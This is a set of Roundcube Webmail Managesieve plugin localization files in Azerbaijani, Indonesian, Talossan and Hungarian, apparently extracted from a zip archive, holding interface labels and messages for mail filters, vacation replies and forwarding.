$labels['vacationreason'] = 'Məktubun mətni (səbəb yoxdur):';
$labels['vacationsubject'] = 'Məktubun mövzusu:';
$labels['days'] = 'günlər';
$labels['seconds'] = 'saniyələr';
$labels['rulestop'] = 'Yerinə yetirməyi dayandır';
$labels['enable'] = 'Yandır/Söndür';
$labels['filtersets'] = 'Süzgəc dəstləri';
$labels['filterdef'] = 'Süzgəcin təsviri';
$labels['active'] = 'aktiv';
$labels['none'] = 'heç biri';
$labels['fromset'] = 'dəstdən';
$labels['fromfile'] = 'fayldan';
$labels['filterdisabled'] = 'Süzgəci söndür';
$labels['countisgreaterthan'] = 'sayı buradan daha çoxdur';
$labels['countisgreaterthanequal'] = 'say çox və ya bərabərdir';
$labels['countislessthan'] = 'say buradan azdır';
$labels['countislessthanequal'] = 'say azdır və ya bərabərdir';
$labels['countequals'] = 'say bərabərdir';
$labels['countnotequals'] = 'say bərabər deyil';
$labels['valueisgreaterthan'] = 'dəyər buradan daha böyükdür';
$labels['valueisgreaterthanequal'] = 'dəyər çoxdur və ya bərabərdir';
$labels['valueislessthan'] = 'dəyər buradan azdır';
$labels['valueislessthanequal'] = 'dəyər azdır və ya bərabərdir';
$labels['valueequals'] = 'dəyər bərabərdir';
$labels['valuenotequals'] = 'dəyər bərabər deyil';
$labels['setflags'] = 'Məktublara flaq quraşdır';
$labels['addflags'] = 'Məktuba flaq əlavə et';
$labels['removeflags'] = 'Məktubdan flaqları sil';
$labels['flagread'] = 'Oxu';
$labels['flagdeleted'] = 'Silindi';
$labels['flaganswered'] = 'Cavab verilmiş';
$labels['flagflagged'] = 'İşarəlilər';
$labels['flagdraft'] = 'Qaralama';
$labels['setvariable'] = 'Dəyişəni təyin et';
$labels['setvarname'] = 'Dəyişənin adı:';
$labels['setvarvalue'] = 'Dəyişənin dəyəri:';
$labels['setvarmodifiers'] = 'Modifikatorlar';
$labels['varlower'] = 'aşağı registr';
$labels['varupper'] = 'yuxarı registr';
$labels['varlowerfirst'] = 'aşağı registrdə birinci simvol';
$labels['varupperfirst'] = 'yuxarı registrdə birinci simvol';
$labels['varquotewildcard'] = 'dırnaq simvolu';
$labels['varlength'] = 'uzunluq';
$labels['notify'] = 'Bildiriş göndər';
$labels['notifyimportance'] = 'Vaciblik';
$labels['notifyimportancelow'] = 'aşağı';
$labels['notifyimportancenormal'] = 'normal';
$labels['notifyimportancehigh'] = 'yuxarı';
$labels['notifymethodmailto'] = 'E-Poçt';
$labels['notifymethodtel'] = 'Telefon';
$labels['filtercreate'] = 'Süzgəc yarat';
$labels['usedata'] = 'Süzgəcdə bu məlumatları istifadə et:';
$labels['nextstep'] = 'Sonrakı';
$labels['...'] = '...';
$labels['currdate'] = 'İndiki tarix';
$labels['datetest'] = 'Tarix';
$labels['dateheader'] = 'başlıq:';
$labels['year'] = 'il';
$labels['month'] = 'ay';
$labels['day'] = 'gün';
$labels['date'] = 'tarix (iiii-aa-gg)';
$labels['julian'] = 'tarix (yulian)';
$labels['hour'] = 'saat';
$labels['minute'] = 'dəqiqə';
$labels['second'] = 'saniyə';
$labels['time'] = 'saat (sa:dd:sn)';
$labels['iso8601'] = 'tarix (ISO8601)';
$labels['std11'] = 'tarix (RFC2822)';
$labels['zone'] = 'saat-zona';
$labels['weekday'] = 'həftənin günü (0-6)';
$labels['advancedopts'] = 'Əlavə ayarlar';
$labels['body'] = 'Məzmun';
$labels['address'] = 'ünvan';
$labels['envelope'] = 'zərf';
$labels['modifier'] = 'modifikator:';
$labels['text'] = 'mətn';
$labels['undecoded'] = 'emal olunmamış (xammal)';
$labels['contenttype'] = 'məzmun növü';
$labels['modtype'] = 'növ:';
$labels['allparts'] = 'hamısı';
$labels['domain'] = 'domen';
$labels['localpart'] = 'lokal hissə';
$labels['user'] = 'istifadəçi';
$labels['detail'] = 'təfsilat';
$labels['comparator'] = 'komparator:';
$labels['default'] = 'ön qurğulu';
$labels['octet'] = 'ciddi (oktet)';
$labels['asciicasemap'] = 'qeydiyyat üzrə müstəqil (ascii-casemap)';
$labels['asciinumeric'] = 'ədədi (ascii-numeric)';
$labels['index'] = 'indeks:';
$labels['indexlast'] = 'arxaya';
$labels['spamtestequals'] = 'uyğundur';
$labels['spamtestnotequals'] = 'uyğun deyil';
$labels['vacation.subject'] = 'Mövzu';
$labels['vacation.body'] = 'Mətn';
$labels['vacation.keep'] = 'Saxla';
$labels['duplicate.header'] = 'başlıq:';
$messages['filterunknownerror'] = 'Serverin naməlum xətası.';
$messages['filterconnerror'] = 'Serverə qoşulmaq alınmır';
$messages['filterdeleteerror'] = 'Süzgəci silmək mümkün deyil. Server xətası.';
$messages['filterdeleted'] = 'Süzgəc uğurla silindi.';
$messages['filtersaved'] = 'Süzgəc uğurla saxlanıldı.';
$messages['filtersaveerror'] = 'Süzgəci saxlamaq mümkün deyil. Server xətası.';
$messages['filterdeleteconfirm'] = 'Siz həqiqətən süzgəci silmək istəyirsiniz?';
$messages['ruledeleteconfirm'] = 'Bu qaydanı silməkdə əminsiniz?';
$messages['actiondeleteconfirm'] = 'Bu hərəkəti silməkdə əminsiniz?';
$messages['forbiddenchars'] = 'Sahədə qadağan edilən işarələr.';
$messages['cannotbeempty'] = 'Sahə boş ola bilməz.';
$messages['ruleexist'] = 'Bu adla süzgəc artıq mövcuddur.';
$messages['activateerror'] = 'Seçilmiş süzgəc(lər)i yandırmaq mümkün deyil. Server xətası.';
$messages['deactivateerror'] = 'Seçilmiş süzgəc(lər)i söndürmək mümkün deyil. Server xətası.';
$messages['deactivated'] = 'Süzgəc(lər) uğurla yandırıldı.';
$messages['activated'] = 'Süzgəc(lər) uğurla söndürüldü.';
$messages['moved'] = 'Süzgəc uğurla köçürüldü.';
$messages['moveerror'] = 'Süzgəci köçürmək mümkün deyil. Server xətası.';
$messages['nametoolong'] = 'Süzgəc dəstini yaratmaq mümkün deyil. Ad çox uzundur.';
$messages['namereserved'] = 'Rezerv edilmiş ad.';
$messages['setexist'] = 'Dəst artıq mövcuddur.';
$messages['nodata'] = 'Heç olmasa bir mövqe tutmaq lazımdır!';
$messages['invaliddateformat'] = 'Tarix və ya tarix formatının bir hissəsi səhvdir';
PKh�\�a�!33*plugins/managesieve/localization/id_ID.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['filters'] = 'Filter';
$labels['managefilters'] = 'Atur filter email masuk';
$labels['filtername'] = 'Nama filter';
$labels['newfilter'] = 'Filter baru';
$labels['filteradd'] = 'Tambah filter';
$labels['filterdel'] = 'Hapus filter';
$labels['rules'] = 'Peraturan';
$labels['actions'] = 'Tindakan';
$labels['scope'] = 'Jangkauan';
$labels['moveup'] = 'Pindah ke atas';
$labels['movedown'] = 'Pindah ke bawah';
$labels['filterallof'] = 'cocok dengan semua aturan berikut ini';
$labels['filteranyof'] = 'cocok dengan aturan manapun';
$labels['filterany'] = 'semua pesan';
$labels['filtercontains'] = 'berisi';
$labels['filternotcontains'] = 'tidak berisi';
$labels['filteris'] = 'sama dengan';
$labels['filterisnot'] = 'tidak sama dengan';
$labels['filterexists'] = 'ada';
$labels['filternotexists'] = 'tidak ada';
$labels['filtermatches'] = 'ekspresi yg cocok';
$labels['filternotmatches'] = 'ekspresi yg tidak cocok';
$labels['filterregex'] = 'cocok dengan ekspresi reguler';
$labels['filternotregex'] = 'tidak cocok dengan ekspresi reguler';
$labels['filterunder'] = 'di bawah';
$labels['filterover'] = 'di atas';
$labels['mime'] = 'MIME';
$labels['mimepart'] = 'MIME part:';
$labels['mime-message'] = 'Pesan';
$labels['mime-anychild'] = 'Apapun';
$labels['mime-type'] = 'Tipe';
$labels['mime-subtype'] = 'Sub tipe';
$labels['mime-contenttype'] = 'Konten tipe';
$labels['mime-param'] = 'Parameter';
$labels['addrule'] = 'Tambah aturan';
$labels['delrule'] = 'Hapus aturan';
$labels['messagemoveto'] = 'Pindah pesan ke';
$labels['messageredirect'] = 'Alihkan pesan ke';
$labels['messagecopyto'] = 'Salin pesan ke';
$labels['messagesendcopy'] = 'Kirim salinan pesan ke';
$labels['messagereply'] = 'balas dengan pesan';
$labels['messagedelete'] = 'Hapus pesan';
$labels['messagediscard'] = 'Buang dengan pesan';
$labels['messagekeep'] = 'Biarkan pesan tetap didalam kotak surat';
$labels['messagesrules'] = 'Untuk email masuk:';
$labels['messagesactions'] = '...lakukan tindakan berikut';
$labels['add'] = 'Tambah';
$labels['del'] = 'Hapus';
$labels['sender'] = 'Pengirim';
$labels['recipient'] = 'Penerima';
$labels['vacationaddr'] = 'Alamat email saya:';
$labels['vacationdays'] = 'Seberapa sering mengirim pesan (dalam hari):';
$labels['vacationinterval'] = 'Seberapa sering untuk pengiriman pesan:';
$labels['vacationreason'] = 'Isi pesan (alasan liburan):';
$labels['vacationfrom'] = 'Alamat pengirim balasan:';
$labels['vacationsubject'] = 'Judul pesan:';
$labels['days'] = 'hari';
$labels['seconds'] = 'detik';
$labels['rulestop'] = 'Berhenti mengevaluasi aturan';
$labels['enable'] = 'Aktifkan/Non-Aktifkan';
$labels['filterset'] = 'Set tapis';
$labels['filtersets'] = 'Himpunan banyak filter';
$labels['filtersetadd'] = 'Tambahkan set tapis';
$labels['filtersetdel'] = 'Hapus set tapis';
$labels['filtersetact'] = 'Aktifkan set tapis saat ini';
$labels['filtersetdeact'] = 'Nonaktifkan set tapis saat ini';
$labels['filterseteditraw'] = 'Sunting set penyaring';
$labels['filterdef'] = 'Definisi filter';
$labels['filtersetname'] = 'Nama set tapis';
$labels['newfilterset'] = 'Set tapis baru';
$labels['active'] = 'aktif';
$labels['none'] = 'nihil';
$labels['fromset'] = 'dari himpunan';
$labels['fromfile'] = 'dari berkas';
$labels['filterdisabled'] = 'Filter dimatikan';
$labels['countisgreaterthan'] = 'penghitungan lebih besar dari';
$labels['countisgreaterthanequal'] = 'penghitungan lebih besa dari atau sama dengan';
$labels['countislessthan'] = 'penghitungan lebih kecil dari';
$labels['countislessthanequal'] = 'penghitungan lebih kecil dari atau sama dengan';
$labels['countequals'] = 'penghitungan sama dengan';
$labels['countnotequals'] = 'penghitungan tidak sama dengan';
$labels['valueisgreaterthan'] = 'nilai lebih besar dari';
$labels['valueisgreaterthanequal'] = 'nilai lebih besar dari atau sama dengan';
$labels['valueislessthan'] = 'nilai lebih kecil dari';
$labels['valueislessthanequal'] = 'nilai lebih kecil dari atau sama dengan';
$labels['valueequals'] = 'nilai sama dengan';
$labels['valuenotequals'] = 'nilai tidak sadengan';
$labels['setflags'] = 'Atur tanda pada pesan';
$labels['addflags'] = 'Berikan tanda pada pesan';
$labels['removeflags'] = 'Cabut tanda dari pesan';
$labels['flagread'] = 'Baca';
$labels['flagdeleted'] = 'Terhapus';
$labels['flaganswered'] = 'Terjawab';
$labels['flagflagged'] = 'Ditandai';
$labels['flagdraft'] = 'Konsep';
$labels['setvariable'] = 'Set variabel';
$labels['setvarname'] = 'Nama variabel:';
$labels['setvarvalue'] = 'Nilai variabel';
$labels['setvarmodifiers'] = 'Pengubah';
$labels['varlower'] = 'huruf kecil';
$labels['varupper'] = 'huruf besar';
$labels['varlowerfirst'] = 'karakter pertama huruf kecil';
$labels['varupperfirst'] = 'karakter pertama huruf besar';
$labels['varquotewildcard'] = 'kutip karakter khusus';
$labels['varlength'] = 'panjang';
$labels['notify'] = 'Kirim pemberitahuan';
$labels['notifytarget'] = 'Pemberitahuan yang dituju:';
$labels['notifymessage'] = 'Pemberitahuan pesan (pilihan):';
$labels['notifyoptions'] = 'Pemberitahuan untuk beberapa pilihan (pilihan):';
$labels['notifyfrom'] = 'Pemberitahuan ke pengirim (tidak harus):';
$labels['notifyimportance'] = 'Tingkat kepentingan:';
$labels['notifyimportancelow'] = 'rendah';
$labels['notifyimportancenormal'] = 'normal';
$labels['notifyimportancehigh'] = 'tinggi';
$labels['notifymethodmailto'] = 'Surat Elektronik / Email';
$labels['notifymethodtel'] = 'Telepon';
$labels['notifymethodsms'] = 'SMS';
$labels['filtercreate'] = 'Buat filter';
$labels['usedata'] = 'Gunakan data berikut dalam filter:';
$labels['nextstep'] = 'Langkah Selanjutnya';
$labels['...'] = '...';
$labels['string'] = 'String';
$labels['currdate'] = 'Tanggal sekarang';
$labels['datetest'] = 'Tanggal';
$labels['dateheader'] = 'header / tajuk:';
$labels['year'] = 'tahun';
$labels['month'] = 'bulan';
$labels['day'] = 'hari';
$labels['date'] = 'tanggal (yyyy-mm-dd)';
$labels['julian'] = 'tanggal (kalender julian)';
$labels['hour'] = 'jam';
$labels['minute'] = 'menit';
$labels['second'] = 'detik';
$labels['time'] = 'waktu :(hh:mm:ss)';
$labels['iso8601'] = 'tanggal (ISO8601)';
$labels['std11'] = 'tanggal (RFC2822)';
$labels['zone'] = 'zona-waktu';
$labels['weekday'] = 'hari kerja (0-6)';
$labels['advancedopts'] = 'Pilihan lanjutan';
$labels['body'] = 'Isi';
$labels['address'] = 'alamat';
$labels['envelope'] = 'amplop';
$labels['modifier'] = 'peubah:';
$labels['text'] = 'teks';
$labels['undecoded'] = 'praterjemahan (mentah)';
$labels['contenttype'] = 'tipe isi';
$labels['modtype'] = 'tipe:';
$labels['allparts'] = 'semua';
$labels['domain'] = 'domain';
$labels['localpart'] = 'bagian lokal';
$labels['user'] = 'pengguna';
$labels['detail'] = 'rinci';
$labels['comparator'] = 'pembanding:';
$labels['default'] = 'standar';
$labels['octet'] = 'ketat (oktet)';
$labels['asciicasemap'] = 'case insensitive (ascii-casemap)';
$labels['asciinumeric'] = 'numeric (ascii-numeric)';
$labels['index'] = 'indeks:';
$labels['indexlast'] = 'mundur:';
$labels['spamtestequals'] = 'sama dengan';
$labels['spamtestnotequals'] = 'tidak sama dengan';
$labels['vacation'] = 'Di Luar Kantor';
$labels['vacation.reply'] = 'Balas pesan';
$labels['vacation.advanced'] = 'Pengaturan Lanjutan';
$labels['vacation.from'] = 'Alamat pengirim balasan';
$labels['vacation.subject'] = 'Judul';
$labels['vacation.body'] = 'Isi';
$labels['vacation.start'] = 'Waktu mulai';
$labels['vacation.end'] = 'Waktu berakhir';
$labels['vacation.status'] = 'Status';
$labels['vacation.on'] = 'Nyala';
$labels['vacation.off'] = 'Mati';
$labels['vacation.addresses'] = 'Alamat email saya';
$labels['vacation.interval'] = 'Balas secara interval';
$labels['vacation.after'] = 'Pasang aturan di-luar-kantor setelah';
$labels['vacation.saving'] = 'Menyimpan data...';
$labels['vacation.action'] = 'Tindakan untuk pesan masuk';
$labels['vacation.keep'] = 'Simpan';
$labels['vacation.discard'] = 'Buang';
$labels['vacation.redirect'] = 'Alihkan ke';
$labels['vacation.copy'] = 'Kirim salinan ke';
$labels['forward'] = 'Diteruskan / Meneruskan';
$labels['forward.redirect'] = 'Alihkan ke';
$labels['forward.copy'] = 'Kirim salinan ke';
$labels['forward.on'] = 'Nyala';
$labels['forward.off'] = 'Mati';
$labels['forward.status'] = 'Status:';
$labels['forward.action'] = 'Tindakan untuk eksekusi masuknya surat';
$labels['forward.saving'] = 'Menyimpan data...';
$labels['filladdresses'] = 'Isi dengan semua alamat saya';
$labels['arialabelfiltersetactions'] = 'Tindakan untuk penyaringan';
$labels['arialabelfilteractions'] = 'Tindakan penyaringan';
$labels['arialabelfilterform'] = 'Properti untuk penyaringan';
$labels['ariasummaryfilterslist'] = 'Daftar penyaringan';
$labels['ariasummaryfiltersetslist'] = 'Daftar penyaringan yang telah di set';
$labels['filterstitle'] = 'Ubah penyaringan untuk email masuk';
$labels['vacationtitle'] = 'Ubah aturan untuk sedang-diluar-kantor';
$labels['forwardtitle'] = 'Edit peraturan untuk meneruskan surat';
$labels['message'] = 'Pesan';
$labels['duplicate'] = 'duplikat';
$labels['notduplicate'] = 'tidak duplikat';
$labels['duplicate.handle'] = 'handle:';
$labels['duplicate.header'] = 'header:';
$labels['duplicate.uniqueid'] = 'identifier:';
$labels['duplicate.seconds'] = 'tenggat waktu (detik):';
$labels['duplicate.last'] = 'relatif terhadap eksekusi terakhir';
$messages['filterunknownerror'] = 'Error pada server tak dikenali.';
$messages['filterconnerror'] = 'Tidak dapat menyambung ke server.';
$messages['filterdeleteerror'] = 'Tidak dapat menghapus penyaringan. Terjadi kesalahan pada server.';
$messages['filterdeleted'] = 'Penyaringan berhasil dihapus.';
$messages['filtersaved'] = 'Penyaringan berhasil disimpan.';
$messages['filtersaveerror'] = 'Tidak dapat menyimpan penyaringan. Terjadi kesalahan pada server.';
$messages['filterformerror'] = 'Formulir penyaring memuat kesalahan.';
$messages['filterdeleteconfirm'] = 'Yakin untuk menghapus penyaringan terpilih?';
$messages['ruledeleteconfirm'] = 'Yakin untuk menghapus aturan terpilih?';
$messages['actiondeleteconfirm'] = 'Yakin untuk menghapus tindakan terpilih?';
$messages['forbiddenchars'] = 'Karakter terlarang pada isian.';
$messages['cannotbeempty'] = 'Isian tidak bisa kosong.';
$messages['ruleexist'] = 'Penyaringan dengan nama tersebut sudah ada.';
$messages['setactivateerror'] = 'Tidak bisa mengaktifkan set tapis yang dipilih. Terjadi kesalahan server.';
$messages['setdeactivateerror'] = 'Tidak bisa menonaktifkan set tapis yang dipilih. Terjadi kesalahan server.';
$messages['setdeleteerror'] = 'Tidak bisa menghapus set tapis yang dipilih. Terjadi kesalahan server.';
$messages['setactivated'] = 'Set tapis sukses diaktifkan.';
$messages['setdeactivated'] = 'Set tapis sukses dinonaktifkan.';
$messages['setdeleted'] = 'Set tapis sukses dihapus.';
$messages['setupdated'] = 'Set tapis sukses diperbarui';
$messages['setdeleteconfirm'] = 'Anda yakin hendak menghapus set tapis yang dipilih?';
$messages['setcreateerror'] = 'Tidak bisa membuat set tapis. Terjadi kesalahan server.';
$messages['setcreated'] = 'Set tapis sukses dibuat.';
$messages['activateerror'] = 'Tidak dapat mengaktifkan penyaringan terpilih. Terjadi kesalahan pada server';
$messages['deactivateerror'] = 'Tidak dapat mematikan penyaringan terpilih. Terjadi kesalahan pada server';
$messages['deactivated'] = 'Berhasil menghidupkan penyaringan.';
$messages['activated'] = 'Berhasil mematikan penyaringan.';
$messages['moved'] = 'Berhasil memindahkan penyaringan.';
$messages['moveerror'] = 'Tidak bisa memindahkan penyaringan terpilih. Ada kesalahan di server.';
$messages['nametoolong'] = 'Nama terlalu panjang.';
$messages['namereserved'] = 'Nama sudah terpesan.';
$messages['setexist'] = 'Kumpulan sudah ada.';
$messages['nodata'] = 'Setidaknya satu posisi harus dipilih!';
$messages['invaliddateformat'] = 'Format tanggal atau bagian dari tanggal salah';
$messages['saveerror'] = 'Tidak dapat menyimpan data. Terjadi kesalahan pada server.';
$messages['vacationsaved'] = 'Data di-luar-kantor sukses disimpan';
$messages['forwardsaved'] = 'Meneruskan data sukses tersimpan';
$messages['emptyvacationbody'] = 'Tubuh pesan liburan diperlukan!';
$messages['duplicate.conflict.err'] = 'Header dan identifier unik keduanya tidak diijinkan.';
$messages['disabledaction'] = 'Tindakan tidak di izinkan';
PKh�\셔��(plugins/managesieve/localization/tzl.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['filters'] = 'Strecureirs';
$labels['messagedelete'] = 'Zeletarh el mensatx';
$labels['del'] = 'Zeletarh';
$labels['days'] = 'ziuas';
$labels['seconds'] = 'secunds';
$labels['active'] = 'actíu';
$labels['flagread'] = 'Lirarh';
$labels['notifymethodmailto'] = 'Telepost';
$labels['...'] = '...';
$labels['datetest'] = 'Däts';
$labels['year'] = 'ar';
$labels['month'] = 'mes';
$labels['day'] = 'ziua';
$labels['date'] = 'däts (aaaa-mm-zz)';
$labels['hour'] = 'þora';
$labels['minute'] = 'míut';
$labels['second'] = 'secund';
$labels['iso8601'] = 'däts (ISO8601)';
$labels['std11'] = 'däts (RFC2822)';
$labels['text'] = 'text';
$labels['domain'] = 'bain';
$labels['user'] = 'uçeir';
$labels['vacation.subject'] = 'Subxhect';
PKh�\����d:d:*plugins/managesieve/localization/hu_HU.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['filters'] = 'Üzenetszűrők';
$labels['managefilters'] = 'Bejövő üzenetek szűrői';
$labels['filtername'] = 'Szűrő neve';
$labels['newfilter'] = 'Új szűrő';
$labels['filteradd'] = 'Szűrő hozzáadása';
$labels['filterdel'] = 'Szűrő törlése';
$labels['rules'] = 'Szabályok';
$labels['actions'] = 'Műveletek';
$labels['scope'] = 'Hatókör';
$labels['moveup'] = 'Mozgatás felfelé';
$labels['movedown'] = 'Mozgatás lefelé';
$labels['filterallof'] = 'A következők szabályok mind illeszkedjenek';
$labels['filteranyof'] = 'A következő szabályok bármelyike illeszkedjen';
$labels['filterany'] = 'Minden üzenet illeszkedjen';
$labels['filtercontains'] = 'tartalmazza';
$labels['filternotcontains'] = 'nem tartalmazza';
$labels['filteris'] = 'megegyezik';
$labels['filterisnot'] = 'nem egyezik meg';
$labels['filterexists'] = 'létezik';
$labels['filternotexists'] = 'nem létezik';
$labels['filtermatches'] = 'kifejezéssel egyezők';
$labels['filternotmatches'] = 'kifejezéssel nem egyezők';
$labels['filterregex'] = 'reguláris kifejezéssel egyezők';
$labels['filternotregex'] = 'reguláris kifejezéssel nem egyezők';
$labels['filterunder'] = 'alatta';
$labels['filterover'] = 'felette';
$labels['mime'] = 'MIME:';
$labels['mimepart'] = 'MIME rész:';
$labels['mime-message'] = 'üzenet';
$labels['mime-anychild'] = 'bármilyen';
$labels['mime-type'] = 'típus';
$labels['mime-subtype'] = 'altípus';
$labels['mime-contenttype'] = 'tartalom-típus';
$labels['mime-param'] = 'paraméter';
$labels['addrule'] = 'Szabály hozzáadása';
$labels['delrule'] = 'Szabály törlése';
$labels['messagemoveto'] = 'Üzenet áthelyezése ide:';
$labels['messageredirect'] = 'Üzenet továbbítása ide:';
$labels['messagecopyto'] = 'Üzenet másolása';
$labels['messagesendcopy'] = 'Másolat küldése az üzenetből';
$labels['messagereply'] = 'Válaszüzenet küldése (autoreply)';
$labels['messagedelete'] = 'Üzenet törlése';
$labels['messagediscard'] = 'Válaszüzenet küldése, a levél törlése';
$labels['messagekeep'] = 'Tartsa az üzenetet a beérkező leveleknél';
$labels['messagesrules'] = 'Az adott tulajdonságú beérkezett üzenetekre:';
$labels['messagesactions'] = '... a következő műveletek végrehajtása:';
$labels['add'] = 'Hozzáadás';
$labels['del'] = 'Törlés';
$labels['sender'] = 'Feladó';
$labels['recipient'] = 'Címzett';
$labels['vacationaddr'] = 'Saját e-mail címeim:';
$labels['vacationdays'] = 'Válaszüzenet küldése ennyi naponként:';
$labels['vacationinterval'] = 'Milyen gyakran küld üzeneteket:';
$labels['vacationreason'] = 'Levél szövege (automatikus válasz):';
$labels['vacationfrom'] = 'Válasz küldőjének címe:';
$labels['vacationsubject'] = 'Üzenet tárgya:';
$labels['days'] = 'napok';
$labels['seconds'] = 'másodpercek';
$labels['rulestop'] = 'Műveletek végrehajtásának befejezése';
$labels['enable'] = 'Bekapcsol/Kikapcsol';
$labels['filterset'] = 'Szűrő készlet';
$labels['filtersets'] = 'Szűrő készletek';
$labels['filtersetadd'] = 'Szűrőkészle hozzáadása';
$labels['filtersetdel'] = 'Szűrőkészlet törlése';
$labels['filtersetact'] = 'Az aktuális szűrőkészlet aktiválása';
$labels['filtersetdeact'] = 'Az aktuális szűrőkészlet deaktiválása';
$labels['filterseteditraw'] = 'Szűrőkészlet beállítás';
$labels['filtersetswitch'] = 'Engedélyezni/letiltani szűrőkészletet';
$labels['filterdef'] = 'Szűrő definíció';
$labels['filtersetname'] = 'Szűrőkészlet neve';
$labels['newfilterset'] = 'Új szűrőkészlet';
$labels['active'] = 'aktív';
$labels['none'] = 'nincs';
$labels['fromset'] = 'készletből';
$labels['fromfile'] = 'fájlból';
$labels['filterdisabled'] = 'Szűrő kikapcsolása';
$labels['filterenabled'] = 'Szűrő engedélyezve';
$labels['countisgreaterthan'] = 'a számláló nagyobb mint';
$labels['countisgreaterthanequal'] = 'a számláló nagyobb vagy egyenlő';
$labels['countislessthan'] = 'a számláló kissebb mint';
$labels['countislessthanequal'] = 'a számláló kissebb vagy egyenlő';
$labels['countequals'] = 'a számláló egyenlő';
$labels['countnotequals'] = 'össze számolva nem egyenlő';
$labels['valueisgreaterthan'] = 'az érték nagyobb mint';
$labels['valueisgreaterthanequal'] = 'az érték nagyobb vagy egyenlő';
$labels['valueislessthan'] = 'az érték kisebb mint';
$labels['valueislessthanequal'] = 'az érték kisebb vagy egyenlő';
$labels['valueequals'] = 'az érték megegyzik';
$labels['valuenotequals'] = 'az értéke nem azonos';
$labels['setflags'] = 'Jelzők beállítása az üzeneten';
$labels['addflags'] = 'Jelző hozzáadása az üzenethez';
$labels['removeflags'] = 'Jelzők eltávolítása az üzenetből';
$labels['flagread'] = 'Olvasás';
$labels['flagdeleted'] = 'Törölt';
$labels['flaganswered'] = 'Megválaszolt';
$labels['flagflagged'] = 'Megjelölt';
$labels['flagdraft'] = 'Vázlat';
$labels['addheader'] = 'Fejléc hozzáadása az üzenethez';
$labels['deleteheader'] = 'Fejléc eltávolítása az üzenetből';
$labels['headername'] = 'Fejléc neve';
$labels['headervalue'] = 'Fejléc értéke';
$labels['headerpos'] = 'Fejléc pozició';
$labels['headeratstart'] = 'az elején';
$labels['headeratend'] = 'a végére';
$labels['headeroccurrence'] = 'Fejléc előfordulás/pozició';
$labels['headerfromstart'] = 'az elejétől';
$labels['headerfromend'] = 'a végétől';
$labels['headerpatterns'] = 'Fejléc értékeinek mintái';
$labels['headermatchtype'] = 'egyezés tipúsa:';
$labels['setvariable'] = 'Változó beállítása';
$labels['setvarname'] = 'Változó neve:';
$labels['setvarvalue'] = 'Változó értéke:';
$labels['setvarmodifiers'] = 'Módosítók';
$labels['varlower'] = 'kisbetű';
$labels['varupper'] = 'nagybetű';
$labels['varlowerfirst'] = 'első karakter kisbetű';
$labels['varupperfirst'] = 'első karakter nagybetű';
$labels['varquotewildcard'] = 'speciális karakterek idézése';
$labels['varlength'] = 'hossz';
$labels['varencodeurl'] = 'százalék-kódolású (az URL-ekhez)';
$labels['notify'] = 'Értesítés küldése';
$labels['notifytarget'] = 'Értesítés célja:';
$labels['notifymessage'] = 'Értesítési üzenet (opcionális):';
$labels['notifyoptions'] = 'Értesítés opcióik (opcionális):';
$labels['notifyfrom'] = 'Értesítés feladója (opcionális):';
$labels['notifyimportance'] = 'Fontosság:';
$labels['notifyimportancelow'] = 'alacsony';
$labels['notifyimportancenormal'] = 'normál';
$labels['notifyimportancehigh'] = 'magas';
$labels['notifymethodmailto'] = 'Email';
$labels['notifymethodtel'] = 'Telefonszám';
$labels['notifymethodsms'] = 'SMS';
$labels['filtercreate'] = 'Szűrő létrehozása';
$labels['usedata'] = 'A következő adatok használata a szűrőben';
$labels['nextstep'] = 'Következő lépés';
$labels['...'] = '…';
$labels['string'] = 'Szöveg';
$labels['currdate'] = 'Mai dátum';
$labels['datetest'] = 'Dátum';
$labels['dateheader'] = 'fejléc:';
$labels['year'] = 'év';
$labels['month'] = 'hónap';
$labels['day'] = 'nap';
$labels['date'] = 'dátum (éééé-hh-nn)';
$labels['julian'] = 'dátum ( julián)';
$labels['hour'] = 'óra';
$labels['minute'] = 'perc';
$labels['second'] = 'másodperc';
$labels['time'] = 'idő (óó:pp:ms)';
$labels['iso8601'] = 'dátum (ISO8601)';
$labels['std11'] = 'dátum (RFC2822)';
$labels['zone'] = 'idő-zóna';
$labels['weekday'] = 'hét napjai (0-6)';
$labels['advancedopts'] = 'Haladó beállítások';
$labels['body'] = 'Levéltörzs';
$labels['address'] = 'cím';
$labels['envelope'] = 'boriték';
$labels['modifier'] = 'módosító:';
$labels['text'] = 'szöveg';
$labels['undecoded'] = 'kódolatlan(nyers)';
$labels['contenttype'] = 'tartalom tipusa';
$labels['modtype'] = 'típus:';
$labels['allparts'] = 'összes';
$labels['domain'] = 'domain';
$labels['localpart'] = 'név rész';
$labels['user'] = 'felhasználó';
$labels['detail'] = 'részlet';
$labels['comparator'] = 'összehasonlító';
$labels['default'] = 'alapértelmezett';
$labels['octet'] = 'strict (octet)';
$labels['asciicasemap'] = 'kis-nagybetüre nem érzékeny (ascii-casemap)';
$labels['asciinumeric'] = 'számszerü (ascii-numeric)';
$labels['index'] = 'index:';
$labels['indexlast'] = 'visszafelé';
$labels['spamtest'] = 'Levélszemét szint';
$labels['spamtestisgreaterthan'] = 'nagyobb mint';
$labels['spamtestisgreaterthanequal'] = 'nagyobb vagy egyenlő ';
$labels['spamtestislessthan'] = 'kisebb mint';
$labels['spamtestislessthanequal'] = 'kisebb vagy egyenlő';
$labels['spamtestequals'] = 'megegyezik';
$labels['spamtestnotequals'] = 'nem egyezik meg';
